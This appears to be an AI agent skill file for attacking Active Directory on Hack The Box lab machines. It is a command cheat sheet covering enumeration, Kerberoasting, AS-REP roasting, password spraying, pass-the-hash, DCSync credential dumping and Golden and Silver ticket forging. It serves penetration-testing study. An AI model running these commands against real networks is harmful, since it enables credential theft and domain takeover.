Ad Attacks

---
name: Active Directory Attacks
description: |
  This skill should be used when the user asks about "Active Directory",
  "Kerberoasting", "AS-REP roasting", "LDAP enumeration", "BloodHound",
  "DCSync", "Pass-the-Hash", "Golden Ticket", or needs guidance on
  attacking Windows domain environments.
version: 1.0.0
---

# Active Directory Attacks Skill

## Overview
Techniques for enumerating and attacking Active Directory environments in HTB machines.

## Domain Discovery

### Identify Domain Controller
```bash
# Nmap
nmap -p53,88,135,139,389,445,636,3268,3269 <TARGET>

# Key ports:
# 88 = Kerberos (confirms AD)
# 389/636 = LDAP
# 445 = SMB
```

### Get Domain Information
```bash
# CrackMapExec
crackmapexec smb <TARGET>

# LDAP rootDSE
ldapsearch -x -H ldap://<TARGET> -s base namingContexts
```

## Enumeration Without Credentials

### LDAP Anonymous Bind
```bash
# Check if anonymous bind allowed
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(objectClass=*)"

# Enumerate users
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(objectClass=user)" sAMAccountName

# Enumerate groups
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(objectClass=group)" cn member

# Look for passwords in descriptions
ldapsearch -x -H ldap://<TARGET> -b "DC=domain,DC=local" "(description=*)" sAMAccountName description
```

### SMB Null Session
```bash
# List shares
smbclient -L //<TARGET> -N
crackmapexec smb <TARGET> --shares -u '' -p ''

# Check access
smbmap -H <TARGET> -u '' -p ''

# Full enumeration
enum4linux -a <TARGET>
```

### RID Cycling
```bash
# Enumerate users via RID
crackmapexec smb <TARGET> -u '' -p '' --rid-brute

# Impacket
lookupsid.py <DOMAIN>/''@<TARGET> -no-pass
```

### User Enumeration via Kerberos
```bash
# Kerbrute
kerbrute userenum -d <DOMAIN> --dc <TARGET> userlist.txt
```

## Kerberos Attacks

### AS-REP Roasting (No Credentials Required)
```bash
# Find users with "Do not require Kerberos preauthentication"
GetNPUsers.py <DOMAIN>/ -no-pass -usersfile users.txt -dc-ip <TARGET> -format hashcat

# Crack hashes
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
```

### Kerberoasting (Requires Valid Credentials)
```bash
# Request TGS for SPNs
GetUserSPNs.py <DOMAIN>/<USER>:<PASS> -dc-ip <TARGET> -request -outputfile tgs.txt

# Crack TGS hashes
hashcat -m 13100 tgs.txt /usr/share/wordlists/rockyou.txt
```

### Password Spraying
```bash
# CrackMapExec (careful - can lock accounts!)
crackmapexec smb <TARGET> -u users.txt -p 'Password123' --continue-on-success

# Kerbrute (no lockout if done right)
kerbrute passwordspray -d <DOMAIN> --dc <TARGET> users.txt 'Password123'

# Common passwords to try:
# SeasonYear! (Summer2024!, Winter2024!)
# CompanyName123
# Password1
# Welcome1
```

## Enumeration With Credentials

### BloodHound Collection
```bash
# Python collector
bloodhound-python -u <USER> -p <PASS> -d <DOMAIN> -dc <TARGET> -c all

# SharpHound (from Windows)
.\SharpHound.exe -c all
```

### LDAP Enumeration
```bash
# Full dump
ldapsearch -x -H ldap://<TARGET> -D "<USER>@<DOMAIN>" -w '<PASS>' \
    -b "DC=domain,DC=local" "(objectClass=*)" > ldap_dump.txt

# Find Domain Admins
ldapsearch -x -H ldap://<TARGET> -D "<USER>@<DOMAIN>" -w '<PASS>' \
    -b "DC=domain,DC=local" "(&(objectClass=group)(cn=Domain Admins))" member
```

### SMB Enumeration
```bash
# List shares
crackmapexec smb <TARGET> -u <USER> -p <PASS> --shares

# Spider shares
crackmapexec smb <TARGET> -u <USER> -p <PASS> -M spider_plus

# Find sensitive files
smbclient //<TARGET>/share -U <USER>%<PASS>
```

## Lateral Movement

### Pass-the-Hash
```bash
# Psexec
psexec.py <DOMAIN>/<USER>@<TARGET> -hashes :<NTLM>

# WMI
wmiexec.py <DOMAIN>/<USER>@<TARGET> -hashes :<NTLM>

# CrackMapExec
crackmapexec smb <TARGET> -u <USER> -H <NTLM>
```

### Pass-the-Ticket
```bash
# Export ticket
export KRB5CCNAME=ticket.ccache

# Use with Impacket
psexec.py -k -no-pass <TARGET>
```

### WinRM
```bash
# Check access
crackmapexec winrm <TARGET> -u <USER> -p <PASS>

# Get shell
evil-winrm -i <TARGET> -u <USER> -p <PASS>

# With hash
evil-winrm -i <TARGET> -u <USER> -H <NTLM>
```

### MSSQL
```bash
# Check access
crackmapexec mssql <TARGET> -u <USER> -p <PASS>

# Get shell
mssqlclient.py <DOMAIN>/<USER>:<PASS>@<TARGET>

# Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
xp_cmdshell 'whoami'
```

## Domain Privilege Escalation

### DCSync Attack
```bash
# Requires: DS-Replication-Get-Changes and DS-Replication-Get-Changes-All
# Members of Domain Admins, Enterprise Admins, or Administrators have this by default

secretsdump.py <DOMAIN>/<USER>:<PASS>@<TARGET>

# Just krbtgt hash
secretsdump.py <DOMAIN>/<USER>:<PASS>@<TARGET> -just-dc-user krbtgt
```

### Golden Ticket
```bash
# Requirements:
# - krbtgt NTLM hash (from DCSync)
# - Domain SID

# Get Domain SID
lookupsid.py <DOMAIN>/<USER>:<PASS>@<TARGET> | grep "Domain SID"

# Create Golden Ticket
ticketer.py -nthash <KRBTGT_HASH> -domain-sid <SID> -domain <DOMAIN> administrator

# Use ticket
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass <DOMAIN>/administrator@<DC_HOSTNAME>
```

### Silver Ticket
```bash
# Requirements:
# - Service account NTLM hash
# - SPN

ticketer.py -nthash <SERVICE_HASH> -domain-sid <SID> -domain <DOMAIN> \
    -spn cifs/<TARGET> administrator

export KRB5CCNAME=administrator.ccache
smbclient -k //<TARGET>/C$
```

## Common Attack Paths

### Path 1: Anonymous to Domain Admin
1. LDAP anonymous → Get users
2. AS-REP Roasting → Crack user password
3. Kerberoasting → Crack service account
4. Service account → Lateral movement
5. Find Domain Admin session → Token/hash theft
6. DCSync → Dump all hashes

### Path 2: Low Priv User to Domain Admin
1. BloodHound collection → Find attack paths
2. Kerberoasting → Crack SPN accounts
3. ACL abuse → Add self to groups
4. DCSync or Golden Ticket

### Path 3: MSSQL to Domain Admin
1. SQL injection → OS command execution
2. Enable xp_cmdshell
3. Enumerate domain from SQL server
4. Capture hashes (Responder)
5. Relay or crack hashes

## Tools Reference

| Tool | Purpose |
|------|---------|
| Impacket | Swiss army knife for AD |
| CrackMapExec | Quick enumeration |
| BloodHound | Attack path visualization |
| Rubeus | Kerberos attacks |
| Mimikatz | Credential extraction |
| Evil-WinRM | WinRM shells |
| Kerbrute | Kerberos enumeration |

## Resources
- PayloadsAllTheThings AD: https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md
- HackTricks AD: https://book.hacktricks.xyz/windows-hardening/active-directory-methodology
- Orange Cyberdefense AD Mindmap: https://orange-cyberdefense.github.io/ocd-mindmaps/